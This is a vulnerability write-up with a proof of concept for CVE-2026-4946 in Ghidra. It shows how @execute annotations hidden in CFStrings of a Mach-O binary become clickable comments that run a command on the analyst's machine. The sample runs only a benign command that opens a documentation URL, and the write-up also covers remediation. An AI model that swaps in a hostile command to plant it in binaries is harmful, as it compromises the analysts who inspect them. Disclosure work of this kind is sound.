CVE-2026-4946 Write Up

CVE-2026-4946/Makefile

@@ -0,0 +1,11 @@
+CC = gcc
+CFLAGS = -Wall -Wextra -O0
+LDFLAGS = -framework CoreFoundation
+
+all: exploit
+
+exploit: exploit.c
+	$(CC) $(CFLAGS) -o exploit exploit.c $(LDFLAGS)
+
+clean:
+	rm -f exploit

CVE-2026-4946/exploit.c

@@ -0,0 +1,8 @@
+#include <CoreFoundation/CoreFoundation.h>
+#include <stdio.h>
+
+CFStringRef cmd1 = CFSTR("{@execute /usr/bin/open https://nvd.nist.gov/vuln/detail/CVE-2026-4946 Open-Documentation}");
+
+int main() {
+	printf("Ghidra Vulnerability: CVE-2026-4946");
+}

CVE-2026-4946/write-up.md

@@ -0,0 +1,55 @@
+# CVE-2026-4946
+
+## Summary
+Versions of Ghidra prior to 12.0.3 contains a vulnerability that results in arbitrary code execution through malicious crafted `@execute` annotations embedded in automatically extracted binary data. During analysis, these annotations appear as harmless comments which, when clicked, attacker-controlled commands could run on the analyst's machine. 
+
+Artifacts:
+- `exploit`: binary containing maliciously crafted `@execute` annotations.
+- `exploit.c`: the source code of the malicious binary
+- `Makefile`: Makefile to compile the `exploit.c` source code.
+
+## Vulnerability
+The vulnerability arises from Ghidra's annotation parser which does not make a distinction between comments manually added by users and comments automatically generated during auto-analysis as well as the execution handler which executes the provided command without any prior warning or notice.
+
+For example, when CFStrings are embedded into Mach-O binaries, Ghidra's `CFStringAnalyzer` extracts this data and automatically generates them as comments.
+
+These comments are passed into `Annotation.java (Ghidra/Features/Base/src/main/java/ghidra/app/util/viewer/field/Annotation.java)`, which parses any annotations including {@execute ...} without checking if its from a trusted source or not. 
+
+Annotations derived from this parser are then passed into `ExecutableTaskStringHandler.java (Ghidra/Features/Base/src/main/java/ghidra/app/util/viewer/field/ExecutableTaskStringHandler.java)`, which executes the command with any warning upon being clicked. The `handleMouseClick` function in this file (on line 90) directly constructs a command from the annotation parts and spawns it via `ProcessThread`, starting the command immediately.
+
+```
+public boolean handleMouseClick(String[] annotationParts, Navigatable sourceNavigatable,
+        ServiceProvider serviceProvider) {
+
+    String executableName = annotationParts[1];
+
+    List<String> command = new ArrayList<>();
+    command.add(executableName);
+
+    if (annotationParts.length > 2) {
+        String commandParameterString = annotationParts[2];
+        StringTokenizer tokenizer = new StringTokenizer(commandParameterString, " ");
+        while (tokenizer.hasMoreTokens()) {
+            command.add(tokenizer.nextToken());
+        }
+    }
+
+    new ProcessThread(command).start();
+
+    return true;
+}
+```
+
+## Exploitation
+A malicious binary can be crafted by compiling a program containing a CFString with the @execute annotation. By formatting the annotation as `CFSTR({@execute <command> <misleading_name>})`, vulnerable versions of Ghidra will render the annotation as a harmless, clickable comment labeled `<misleading_name>` upon analysis.
+
+#### Exploitation Flow:
+1. Embed an @execute annotation into a C program.
+2. Compile the program into a binary.
+3. Import the file into Ghidra versions prior to 12.0.3 and perform auto-analysis.
+4. Navigate to the `__cfstring` section in the Listing view and click on the rendered annotation to see the command being run.
+
+## Remediation
+The vulnerability is resolved in Ghidra 12.0.3 and later by no longer supporting the `@execute` annotation.
+
+This removal reflects what is arguably a more fundamental flaw. A static analysis tool operates in an inherently adversarial environment, and often times you are inspecting untrusted, potentially malicious binaries. Embedding an arbitrary command execution feature into such a tool introduces unnecessary risk as there is little to no legitimate workflow that would require executing commands directly from within a comment annotation, but introduces a possible new attack surface.